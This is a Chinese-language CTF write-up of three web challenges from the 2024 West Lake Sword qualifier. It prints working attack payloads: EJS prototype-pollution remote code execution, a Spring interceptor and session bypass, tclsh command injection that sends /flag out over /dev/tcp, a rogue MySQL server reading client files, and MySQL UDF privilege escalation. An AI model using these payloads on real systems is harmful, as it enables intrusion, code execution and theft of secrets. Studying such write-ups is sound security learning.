2024 西湖论剑 Qual WriteUp

2024-01-30 Write Up #NodeJS #SQL #Linux #Git

我们是冠军🏆！

Easyejs

题目描述

我的第一个nodejs项目

解题思路

1. robots.txt

User-agent: *
Disallow: /
Disallow: /index
Disallow: /upload
Disallow: /rename
Disallow: /file
Disallow: /list

2. rename + file 任读

rename 处可修改文件为路径穿越格式 /../../../../etc/passwd

然后在 file 处可读取相应文件实现任意文件读取

//index.js
var express = require('express');
const fs = require('fs');
var _= require('lodash');
var bodyParser = require("body-parser");
const cookieParser = require('cookie-parser');
var ejs = require('ejs');
var path = require('path');
const putil_merge = require("putil-merge")
const fileUpload = require('express-fileupload');
const { v4: uuidv4 } = require('uuid');
const {value} = require("lodash/seq");
var app = express();
// 将文件信息存储到全局字典中
global.fileDictionary = global.fileDictionary || {};

app.use(fileUpload());
// 使用 body-parser 处理 POST 请求的数据
app.use(bodyParser.urlencoded({ extended: true }));
app.use(bodyParser.json());
// 设置模板的位置
app.set('views', path.join(__dirname, 'views'));
// 设置模板引擎
app.set('view engine', 'ejs');
// 静态文件（CSS）目录
app.use(express.static(path.join(__dirname, 'public')))

app.get('/', (req, res) => {
    res.render('index');
});

app.get('/index', (req, res) => {

    res.render('index');
});
app.get('/upload', (req, res) => {
    //显示上传页面
    res.render('upload');
});

app.post('/upload', (req, res) => {
    const file = req.files.file;
    const uniqueFileName = uuidv4();
    const destinationPath = path.join(__dirname, 'uploads', file.name);
    // 将文件写入 uploads 目录
    fs.writeFileSync(destinationPath, file.data);
    global.fileDictionary[uniqueFileName] = file.name;
    res.send(uniqueFileName);
});

app.get('/list', (req, res) => {
    // const keys = Object.keys(global.fileDictionary);
    res.send(global.fileDictionary);
});
app.get('/file', (req, res) => {
    if(req.query.uniqueFileName){
        uniqueFileName = req.query.uniqueFileName
        filName = global.fileDictionary[uniqueFileName]

        if(filName){
            try{
                res.send(fs.readFileSync(__dirname+"/uploads/"+filName).toString())
            }catch (error){
                res.send("文件不存在！");
            }

        }else{
            res.send("文件不存在！");
        }
    }else{
        res.render('file')
    }
});

app.get('/rename',(req,res)=>{
    res.render("rename")
});
app.post('/rename', (req, res) => {
    if (req.body.oldFileName && req.body.newFileName && req.body.uuid){
        oldFileName = req.body.oldFileName
        newFileName = req.body.newFileName
        uuid = req.body.uuid
        if (waf(oldFileName)  && waf(newFileName) &&  waf(uuid)){
            uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName)
            console.log(typeof uuid);
            if (uniqueFileName == uuid){
                putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})
                if(newFileName.includes('..')){
                    res.send('文件重命名失败！！！');
                }else{
                    fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => {
                        if (err) {
                            res.send('文件重命名失败！');
                        } else {
                            res.send('文件重命名成功！');
                        }
                    });
                }
            }else{
                res.send('文件重命名失败！');
            }

        }else{
            res.send('哒咩哒咩！');
        }

    }else{
        res.send('文件重命名失败！');
    }
});
function findKeyByValue(obj, targetValue) {
    for (const key in obj) {
        if (obj.hasOwnProperty(key) && obj[key] === targetValue) {
            return key;
        }
    }
    return null; // 如果未找到匹配的键名，返回null或其他标识
}
function waf(data) {
            data = JSON.stringify(data)
            if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
                return false;
            }else{
                return true;
            }
}
//设置http
var server = app.listen(8888,function () {
    var port = server.address().port
    console.log("http://127.0.0.1:%s", port)
});

3. 原型链污染 destructuredLocals

putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})

在 rename 处修改 request json 污染原型链

"newFileName": {
            "__proto__": {
                "client": True,
                "destructuredLocals": [f"x;global.process.mainModule.constructor._load('child_process').execSync('cmd');//"],
                "compileDebug": True
            }
        },

通过 cmd 输出到文件 + 任读回显 cmd

4. linux 提权

find / -user root -perm -4000 -print 2>/dev/null

得到 suid

/usr/bin/mount
/usr/bin/passwd
/usr/bin/umount
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/cp
/usr/bin/chfn
/usr/bin/su

发现 cp 具有 suid 权限

cp 到 /home/node 即可读取

ezinject

1. .git 泄露

sudo githacker --url http://1.14.108.193:32756/.git/ --output-folder result

得到一个 easy_java1 的项目源码：easy_java1.zip

确认 git 中不再有敏感信息

2. 绕过 interceptor

config 中存在 MyInterceptor 拦截器

// MyInterceptor.java
package com.ctf.easy_java1.config;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class MyInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String url=request.getRequestURI();
        if (url.endsWith(".css")||url.endsWith(".js")||url.equals("/")||url.startsWith("/.git")){
            return true;
        }
        return false;
    }

}

// Config.java
package com.ctf.easy_java1.config;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class Config implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new MyInterceptor())
                .addPathPatterns("/**");
    }
}

在 /** 路由处应用 MyInterceptor 拦截器

仅允许以下路由通过：

以 .css 结尾的路由
以 .js 结尾的路由
/ 路由
以 /.git 开头的路由

可以通过 /login;.css 绕过 interceptor

3. 服务端 session 绕过

package com.ctf.easy_java1.controller;

import com.ctf.easy_java1.util.shellUtil;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;

@Controller
public class router {
    @GetMapping("/")
    public String index(){
        return "index";
    }

    @GetMapping("/login")
    @ResponseBody
    public String login(HttpSession session,HttpServletRequest request,String username) {
        Object isLogin =  session.getAttribute("isLogin");
        if (username==null){
            username="";
        }
        try {
            if (isLogin==null){
                if (username.startsWith("agent")){
                    String ua = request.getHeader("User-Agent");
                    if (ua.contains("client")){
                        return String.format("<script>alert(\"%s\");window.location.href=\"/\"</script>","client user suspended Login");
                    }
                }else {
                    return String.format("<script>alert(\"%s\");window.location.href=\"/\"</script>","unknown user");
                }
            }else {
                session.setAttribute("loginOk",true);
                return "<script>window.location.href=\"/\"</script>";

            }
        }catch (Exception e){
            session.setAttribute("loginOk",false);
            return "<script>window.location.href=\"/\"</script>";
        }
        return String.format("<script>alert(\"%s\");window.location.href=\"/\"</script>","unknown user");
    }
    @PostMapping("/exec")
    @ResponseBody
    public String exec(String command,HttpSession session)throws Exception{
        if (session.getAttribute("loginOk")==null){
            return "access denied";
        }
        shellUtil.runCommand("/app/runexpect.sh /app/expect/ /app/expect/expect /app/call.sh 1 "+command);
        return "success";
    }
}

要通过 /exec 路由执行命令需要满足 session.getAttribute("loginOk")!=null

由于只要不是 null 就行，我们可以通过手动触发报错来使得 session.setAttribute("loginOk",false);

由于要先进入 ua.contains("client") 才能触发报错，所以需要先设置 param ?username=agent

然后去掉 Request 中的 User-Agent 触发报错即可获得 exec 权限

4. 命令注入

command 的调用路径如下：

shellUtil.java

process = Runtime.getRuntime().exec(command);

runexpect.sh

#!/bin/sh

# Set LD_LIBRARY_PATH

export LD_LIBRARY_PATH=$1
echo "Assuming LD_LIBRARY_PATH in runexpect :" $LD_LIBRARY_PATH
shift
echo "Running command: $*"
$*

exit $?

call.sh

#!/usr/bin/tclsh

set password [lindex $argv 0]
set host [lindex $argv 1]
set port [lindex $argv 2]
set dir [lindex $argv 3]
puts $argv
eval spawn ssh -p $port $host test -d $dir && echo exists
expect "*(yes/no*)?*$" { send "yes\n" }
set timeout 600
expect "*assword:*$" { send "$password\n" } \
timeout { exit 1 }
set timeout -1
expect "\\$ $"

传入 command ：

echo  [system '`cat</flag>/dev/tcp/127.0.0.1/80`'|bash]

最终组合成：

eval spawn ssh -p [system echo test -d '`cat</flag>/dev/tcp/127.0.0.1/80`'|bash]

获得 flag

only_sql

题目描述

说了随便连啦就是随便连，你输什么我都不管的。
Hint：LOAD DATA

解题思路

1. MySQL 读客户端文件

在自己的 server 上创建一个 mysql 服务端并创建一个数据库和数据表 TestTable

数据表里面放置一列 Text 类型数据列

然后在靶机上连接自己的 mysql 服务端并使用刚创建的数据库来远程读客户端文件

load data local infile "/var/www/html/query.php" into table TestTable

然后得到 query.php 源码

<?php
error_reporting(0);
// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';

$db_host = $_POST["db_host"];
$db_username = $_POST["db_username"];
$db_password = $_POST["db_password"];
$db_name = $_POST["db_name"];
if(isset($db_host)){
    try {
        $dsn = "mysql:host=$db_host;dbname=$db_name";
        $pdo = new PDO($dsn, $db_username, $db_password);
        $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $_SESSION['dsn']=$dsn;
        $_SESSION['db_username']=$db_username;
        $_SESSION['db_password']=$db_password;
    } catch (Exception $e) {
       die($e->getMessage());
    }
}
if(!isset($_SESSION['dsn'])){
    die("<script>alert('请先连接数据库);window.location.href='index.php'</script>");
}

?>

使用靶机连接注释中的本地 mysql 服务端

2. plugin udf 提权

运行 sql 语句

show variables like '%plugin%';

发现 plugin 目录被改了：

/var/lib/mysql/p1ugin

mysql plugin udf 提权

https://www.sqlsec.com/udf/

select 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into dumpfile '/usr/lib/mysql/p1ugin/lin1.so';

create function sys_eval returns string soname 'lin1.so';

然后 RCE

select sys_eval('cat /proc/self/environ';)

然后就有 flag 了（